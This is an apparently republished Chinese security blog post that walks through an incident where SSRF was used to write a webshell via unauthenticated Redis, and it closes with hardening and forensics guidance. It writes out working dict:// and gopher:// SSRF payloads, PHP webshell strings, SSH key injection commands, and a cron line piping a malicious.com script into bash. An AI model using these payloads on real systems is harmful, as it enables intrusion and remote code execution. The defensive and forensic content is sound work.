当前位置: 首页 > news >正文

从一次应急响应复盘:Redis未授权访问如何被SSRF“远程遥控”写Shell

从应急响应视角拆解SSRF攻击链:Redis未授权访问的实战防御指南

凌晨3点15分,安全团队的告警系统突然响起刺耳的蜂鸣声。监控显示,某台Web服务器正在异常访问内网的Redis服务,而运维同事从未配置过此类连接。两小时后,我们在网站的upload目录下发现了陌生的PHP文件——这是一起典型的SSRF结合Redis未授权访问的攻击事件。本文将基于真实应急响应案例,还原攻击者如何通过SSRF漏洞"遥控"内网Redis服务,并最终写入Webshell的全过程。

1. 攻击链全景还原:从SSRF到Redis入侵

1.1 初始攻击入口:SSRF漏洞的发现与利用

攻击者通常通过以下方式发现SSRF漏洞:

  • 对Web应用中的URL参数进行模糊测试
  • 检查文件上传、PDF生成等功能的对外请求
  • 利用DNS重绑定技术绕过IP限制

典型攻击日志特征

2023-05-17T03:15:22.451Z "GET /export?url=http://192.168.1.100:6379/info HTTP/1.1" 200 342 2023-05-17T03:15:25.783Z "GET /export?url=dict://192.168.1.100:6379/info HTTP/1.1" 200 215

1.2 内网Redis的探测与认证绕过

当攻击者通过SSRF接触到内网Redis服务时,会立即进行服务指纹识别:

探测方式预期响应特征风险等级
HTTP协议探测返回ERR协议错误
DICT协议探测返回Redis版本信息
GOPHER协议探测支持多命令执行严重

未授权访问验证命令

redis-cli -h 192.168.1.100 -p 6379 INFO # 若返回服务器信息且无AUTH错误,则存在未授权访问

2. 攻击技术深度解析:协议利用与持久化技术

2.1 多协议攻击手法对比

攻击者会根据网络环境选择不同协议:

DICT协议利用特点

  • 单次只能执行一条命令
  • 适合快速探测和简单操作
  • 典型利用路径:
    dict://192.168.1.100:6379/CONFIG SET dir /var/www/html dict://192.168.1.100:6379/CONFIG SET dbfilename shell.php

GOPHER协议高级利用

  • 支持多命令连续执行
  • 可完成复杂攻击链
  • 示例攻击流程:
    gopher://192.168.1.100:6379/_AUTH%2520attacker_pass%250a FLUSHALL%250a SET shell "<?php system($_GET['cmd']);?>"%250a CONFIG SET dir /var/www/html%250a CONFIG SET dbfilename webshell.php%250a SAVE%250a

2.2 多种持久化技术剖析

攻击者常用的后门写入方式:

  1. Webshell写入

    CONFIG SET dir /var/www/html CONFIG SET dbfilename backdoor.php SET payload "\n\n<?php eval($_POST['cmd']);?>\n\n" SAVE
  2. SSH公钥注入

    (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") | redis-cli -h 192.168.1.100 -x set ssh_key redis-cli -h 192.168.1.100 CONFIG SET dir /root/.ssh redis-cli -h 192.168.1.100 CONFIG SET dbfilename authorized_keys redis-cli -h 192.168.1.100 SAVE
  3. 定时任务植入

    CONFIG SET dir /var/spool/cron CONFIG SET dbfilename root SET payload "\n\n*/5 * * * * curl http://malicious.com/shell.sh | bash\n\n" SAVE

3. 防御体系构建:从基础加固到深度防护

3.1 Redis服务基础加固清单

必须实施的加固措施

  1. 认证配置:

    # redis.conf requirepass ComplexPassw0rd!@# rename-command CONFIG ""
  2. 网络隔离:

    bind 127.0.0.1 protected-mode yes
  3. 权限控制:

    useradd -r -s /bin/false redisuser chown -R redisuser:redisuser /var/lib/redis

3.2 高级防御策略

网络层防护

  • 使用网络策略限制Redis端口访问
  • 为Redis服务配置独立的VLAN
  • 部署IDS规则检测异常Redis协议流量

应用层防护矩阵

防护层面具体措施实施难度
协议禁用非业务必要协议(如DICT)
请求验证实施严格的SSRF过滤规则
行为监控建立Redis命令审计日志
容器化使用Docker部署并限制能力

关键监控指标

# Prometheus监控规则示例 - alert: RedisConfigChange expr: changes(redis_config_set_commands_total[5m]) > 0 for: 2m labels: severity: critical

4. 应急响应实战:攻击痕迹排查与溯源

4.1 入侵指标(IOC)收集

Redis日志关键检查点

grep -E "CONFIG|SAVE|SLAVEOF|MODULE" /var/log/redis/redis.log

文件系统可疑痕迹

  • /var/www/html目录下异常.php文件
  • /root/.ssh/authorized_keys最近修改
  • /var/spool/cron/下异常任务

内存取证命令

redis-cli --latency -h 192.168.1.100 # 检测异常连接 netstat -tulnp | grep redis # 检查异常连接

4.2 攻击时间线重建

基于日志还原攻击过程的示例方法:

  1. 提取Web日志中的SSRF请求

    awk '/export?url=redis/{print $4,$7}' access.log | sort -k1
  2. 交叉关联Redis日志时间戳

    grep -n "CONFIG SET" /var/log/redis/redis.log
  3. 建立攻击事件序列表格:

时间戳攻击阶段关键操作
2023-05-17T03:15:22Z初始探测DICT协议INFO命令
2023-05-17T03:17:06Z配置修改CONFIG SET dir /var/www/html
2023-05-17T03:18:41ZWebshell写入SET payload + SAVE

5. 企业级防护架构设计

5.1 分层防御体系

云环境下的防护方案

graph TD A[Web应用防火墙] --> B[SSRF过滤规则] B --> C[网络ACL] C --> D[Redis安全组] D --> E[实例级防护] E --> F[审计日志]

5.2 自动化安全运维

Ansible加固Playbook示例

- name: Harden Redis Server hosts: redis_servers tasks: - name: Update redis.conf template: src: templates/redis.conf.j2 dest: /etc/redis/redis.conf notify: restart redis - name: Set filesystem permissions file: path: "/var/lib/redis" owner: redis group: redis mode: '0750'

关键加固参数模板

# redis.conf.j2 protected-mode yes rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL "" requirepass {{ redis_password }}

在多次应急响应中我们发现,攻击者常利用业务高峰期的监控盲区进行入侵。某次事件中,攻击者特意选择在系统备份时段进行操作,利用备份进程的高负载掩盖其恶意活动。这提醒我们需要建立异常行为基线,而不仅是依赖固定规则检测。

http://www.zskr.cn/news/1445939.html

相关文章:

  • 聊天机器人进阶开发:对话状态管理、NLG生成与系统集成实战
  • 2026深圳怎么选手表回收商家,五大平台对比 + 新手避坑技巧 - 奢侈品回收测评
  • API网关在生成式AI场景下的四大演进:从流量管控到智能调度中心
  • 告别页面刷新!用react-activation在React 18+项目中实现Vue同款keep-alive(附路由集成与手动清理缓存指南)
  • 生产运营AI痛点拆解:向量空间JBoltAI的思路
  • 琴童考级电钢琴怎么选?6款实测电钢琴推荐,适配1-10级备考需求
  • 别再只盯着模型精度了!用thop和ptflops实测AlexNet/VGG/ResNet,聊聊FLOPs和Params怎么影响你的GPU账单
  • 告别手工分层:3步用AI将任何插画智能分解为可编辑PSD图层
  • 别再死记公式了!手把手教你用HFSS和Matlab FDTD两种方法仿真微带线阻抗(附工程文件)
  • SAP S4 HANA供应商主数据BP屏幕增强实战:手把手教你给LFA1表加自定义字段
  • 告别杂乱:用AD24的Class管理与规则设置,高效规划你的PCB电源与信号
  • 实测10款降AI率工具:这款高效过审神器我锁了 - 仙仙学姐测评
  • 别再死记UNet结构了!用‘编码器-解码器+跳跃连接’的思维,5分钟搞懂所有变体(含注意力、残差)
  • 别再死记硬背公式了!用NumPy手撸线性回归,从MSE、R²到梯度下降实战通关
  • 保姆级教程:用Python的NumPy和Matplotlib一步步拆解时间序列(含SSA算法完整代码)
  • 别再只用真彩色了!Landsat8这5个隐藏的波段组合,让你的遥感图瞬间出彩
  • 亲测好用的降AI工具盘点,附免费AI查重方法 - 晨晨_分享AI
  • 别再乱传code了!微信小程序获取手机号,后端C#解密完整流程(附避坑点)
  • 从三态门到总线竞争:用Verilog强度建模理解硬件电路的‘软’冲突
  • 如何快速使用Boss直聘批量投递助手:求职效率提升10倍的终极指南
  • 数学建模小白也能搞定:用Python复现五一赛B题快递需求分析(附完整代码和Paper)
  • RISC-V仿真与硬件性能对比研究:FireSim框架实践
  • 告别打包噩梦:用虚拟环境+PyInstaller Hook干净利落地打包Paddle深度学习项目
  • SpringBoot课程管理系统毕业设计包:含可运行源码、MySQL建表脚本与全套毕设文档
  • 论文AI率过高难通过?亲测有效降AI工具指南 - 老米_专讲AIGC率
  • 高效研究周报撰写指南:从个人探索到团队知识管理
  • 别再只用JSP了!SpringBoot3整合Thymeleaf,5分钟搞定一个动态用户列表页
  • AI时代不可替代性:五大核心能力与人机协同策略
  • 别再只用RC滤波了!用GP8101 PAC芯片实现PWM转高精度模拟电压(0-5V/10V)
  • YOLOv9+OpenCV车辆跟踪实战:如何用Python把普通摄像头变成智能交通监控?